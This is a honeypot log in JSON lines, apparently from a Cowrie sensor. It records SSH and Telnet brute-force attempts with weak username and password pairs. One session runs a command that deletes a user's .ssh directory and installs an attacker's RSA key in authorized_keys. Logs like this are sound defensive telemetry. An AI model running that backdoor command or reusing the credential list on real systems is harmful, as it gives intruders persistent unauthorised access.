{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:17.519226Z","src_ip":"185.239.84.249","session":"bef0e1687ac7","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:17.524092Z","src_ip":"185.239.84.249","session":"bef0e1687ac7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:17.776753Z","src_ip":"185.239.84.249","session":"bef0e1687ac7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:18.065328Z","src_ip":"185.239.84.249","session":"bef0e1687ac7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:18.068907Z","src_ip":"185.239.84.249","session":"bef0e1687ac7","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:18.279975Z","src_ip":"185.239.84.249","session":"bef0e1687ac7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:18.297604Z","src_ip":"185.239.84.249","session":"bef0e1687ac7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":49984,"dst_ip":"159.203.135.109","dst_port":22,"session":"454127b2a0b6","protocol":"ssh","message":"New connection: 185.239.84.249:49984 (159.203.135.109:22) [session: 454127b2a0b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:18.508832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:18.514835Z","src_ip":"185.239.84.249","session":"454127b2a0b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:18.738647Z","src_ip":"185.239.84.249","session":"454127b2a0b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:19.669603Z","src_ip":"185.239.84.249","session":"454127b2a0b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:20.888323Z","src_ip":"185.239.84.249","session":"454127b2a0b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":49990,"dst_ip":"159.203.135.109","dst_port":22,"session":"aef29d22014a","protocol":"ssh","message":"New connection: 185.239.84.249:49990 (159.203.135.109:22) [session: aef29d22014a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:21.105449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:21.110828Z","src_ip":"185.239.84.249","session":"aef29d22014a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:21.327569Z","src_ip":"185.239.84.249","session":"aef29d22014a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:22.225157Z","src_ip":"185.239.84.249","session":"aef29d22014a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:22.441052Z","src_ip":"185.239.84.249","session":"bef0e1687ac7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:22.446625Z","src_ip":"185.239.84.249","session":"aef29d22014a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.30359077453613,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:23.883064Z","src_ip":"46.4.8.162","session":"f7ab6fd5e094","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.99705505371094,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:25.147902Z","src_ip":"46.4.8.162","session":"212b875307e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.938884258270264,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:28.352107Z","src_ip":"46.4.8.162","session":"583012ea1fdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40920,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2a5e8dff954","protocol":"ssh","message":"New connection: 159.203.92.129:40920 (159.203.135.109:22) [session: c2a5e8dff954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:30.543095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:30.548387Z","src_ip":"159.203.92.129","session":"c2a5e8dff954","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:30.555603Z","src_ip":"159.203.92.129","session":"c2a5e8dff954","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwertyuiop","message":"login attempt [admin/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:30.568473Z","src_ip":"159.203.92.129","session":"c2a5e8dff954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:31.576924Z","src_ip":"159.203.92.129","session":"c2a5e8dff954","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":46868,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e9fd1acc2bc","protocol":"telnet","message":"New connection: 46.4.8.162:46868 (159.203.135.109:23) [session: 9e9fd1acc2bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:45.649354Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.154.234.9","src_port":15545,"dst_ip":"10.17.0.5","dst_port":22,"session":"6900f0e3d195","protocol":"ssh","message":"New connection: 212.154.234.9:15545 (10.17.0.5:22) [session: 6900f0e3d195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:55.908713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:55.913398Z","src_ip":"212.154.234.9","session":"6900f0e3d195","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:56.093098Z","src_ip":"212.154.234.9","session":"6900f0e3d195","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"pass12","message":"login attempt [ubuntu/pass12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:56.842582Z","src_ip":"212.154.234.9","session":"6900f0e3d195","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:37:58.024582Z","src_ip":"212.154.234.9","session":"6900f0e3d195","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":55716,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c1cd52d076d","protocol":"telnet","message":"New connection: 46.4.8.162:55716 (159.203.135.109:23) [session: 2c1cd52d076d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:38:06.806816Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":43232,"dst_ip":"159.203.135.109","dst_port":22,"session":"69709f6ca300","protocol":"ssh","message":"New connection: 185.239.84.249:43232 (159.203.135.109:22) [session: 69709f6ca300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:38:14.690264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:38:14.695263Z","src_ip":"185.239.84.249","session":"69709f6ca300","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:38:14.907583Z","src_ip":"185.239.84.249","session":"69709f6ca300","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59110,"dst_ip":"159.203.135.109","dst_port":22,"session":"019704f74f4f","protocol":"ssh","message":"New connection: 159.203.92.129:59110 (159.203.135.109:22) [session: 019704f74f4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:38:15.517382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:38:15.523624Z","src_ip":"159.203.92.129","session":"019704f74f4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:38:15.527939Z","src_ip":"159.203.92.129","session":"019704f74f4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"raja123","message":"login attempt [admin/raja123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:38:15.536915Z","src_ip":"159.203.92.129","session":"019704f74f4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:38:15.541394Z","src_ip":"185.239.84.249","session":"69709f6ca300","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":33206,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8ead1b93e68","protocol":"telnet","message":"New connection: 46.4.8.162:33206 (159.203.135.109:23) [session: c8ead1b93e68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:38:15.895324Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:38:16.541766Z","src_ip":"159.203.92.129","session":"019704f74f4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:38:16.756420Z","src_ip":"185.239.84.249","session":"69709f6ca300","protocol":"ssh"}
